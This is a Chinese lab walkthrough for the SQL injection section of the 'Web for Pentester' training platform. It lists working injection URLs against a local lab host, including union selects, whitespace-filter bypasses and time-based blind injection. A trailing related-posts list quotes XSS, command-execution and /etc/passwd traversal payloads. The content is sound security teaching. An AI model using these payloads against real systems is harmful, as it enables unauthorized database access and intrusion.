【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1
字符类型的注入,无过滤
http://192.168.91.139/sqli/example1.php?name=root
http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23
http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23
http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23
Example 2
与example1差不多,过滤了空格,语句中存现空格就会报错
mysql注入绕过空格过滤的方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /*注释*/
3、括号绕过空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 3
在example的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
可以使用example2中 /*注释*/ 绕过过滤
http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 4
数值型的注入,过滤了单引号等,对数值型无效
http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5
Example 5
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
http://192.168.91.139/sqli/example5.php?id=2 and 1=1--
http://192.168.91.139/sqli/example5.php?id=2 and 1=2--
Example 6
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.
http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
Example 7
解法一:
换行 \n的url编码是%0a
这边纠结了好久,最终使用了-- %23 才能注释掉后面语句
http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
Example 8
order by `name` 报错注入出不来,用了时间盲注一个一个猜解
http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
Example 9
与 example8类似,可以通过时间盲注进行逐一猜解
http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23
参考链接:
Web for Pentester II :https://pentesterlab.com/exercises/web_for_pentester/course
Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html
Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF
Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM
【渗透测试学习平台】 web for pentester -2.SQL注入的更多相关文章
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -3.XSS
Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -6.命令执行
命令执行漏洞 windows支持: | ping 127.0.0.1|whoami || ping 2 || whoami (哪条名 ...
- 【渗透测试学习平台】 web for pentester -5.代码执行
Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
随机推荐
- poj 3468 A Simple Problem with Integers 线段树第一次 + 讲解
A Simple Problem with Integers Description You have N integers, A1, A2, ... , AN. You need to deal w ...
- Linux面试基础题-2
继续我们这面试系列,在这篇文章里我们给出了10个问题.这些问题或者是在以后的文章中出现的问题不一定在面试中会被问到.然而通过这些文章我们呈现出的是一个交互的学习平台,这必将会对你有很大的帮助. 自本系 ...
- MapReduce 重要组件——Recordreader组件
(1)以怎样的方式从分片中读取一条记录,每读取一条记录都会调用RecordReader类: (2)系统默认的RecordReader是LineRecordReader,如TextInputFormat ...
- 红帽中出现”This system is not registered with RHN”的解决方案
原因是你的linux没有在红帽网络上注册,所以无法下载上面的软件包,替代方案可以使用centos. 下面介绍下使用centos 的流程 1.卸载rhel的默认安装的yum包查看yum包rpm -qa| ...
- Oracle普通索引,唯一索引,主键的区别
索引是我们经常使用的一种数据库优化手段,适当的业务操作场景使用适当的索引方案,可以显著的提升系统整体查询性能,当然用户体验也随之提高. 在Oracle中,唯一性索引(Unique Index)是我们经 ...
- stm32启动文件 startup_stm32f10x_hd.s
;* 文件名 : startup_stm32f10x_hd.s;* 库版本 : V3.5.0;* 说明: 此文件为STM32F10x高密度 ...
- eclipse安卓模拟器窗口大小调整
引自百度经验的链接: http://jingyan.baidu.com/article/3aed632e18c7e97011809161.html
- mongodb 几个要注意的问题
1. moongo db 会尽量将 所有 索引和 热数据 放入内存中来进行比较,从而来获得更好的查询速度,同时,mongodb在写的时候,也是先写入内存,然后定期同步到磁盘上面去,这样可以达成顺序写的 ...
- PHP的循环结构
循环结构一.while循环 while循环是先判断条件,成立则执行 使用一个while循环输出的表格 <style type="text/css"> td{ te ...
- SQUID之cache_peer
一共关系到cache_peer/always_direct/never_direct/hierarchy_stoplist/prefer_direct等配置项. squid的使用指南上,关于alway ...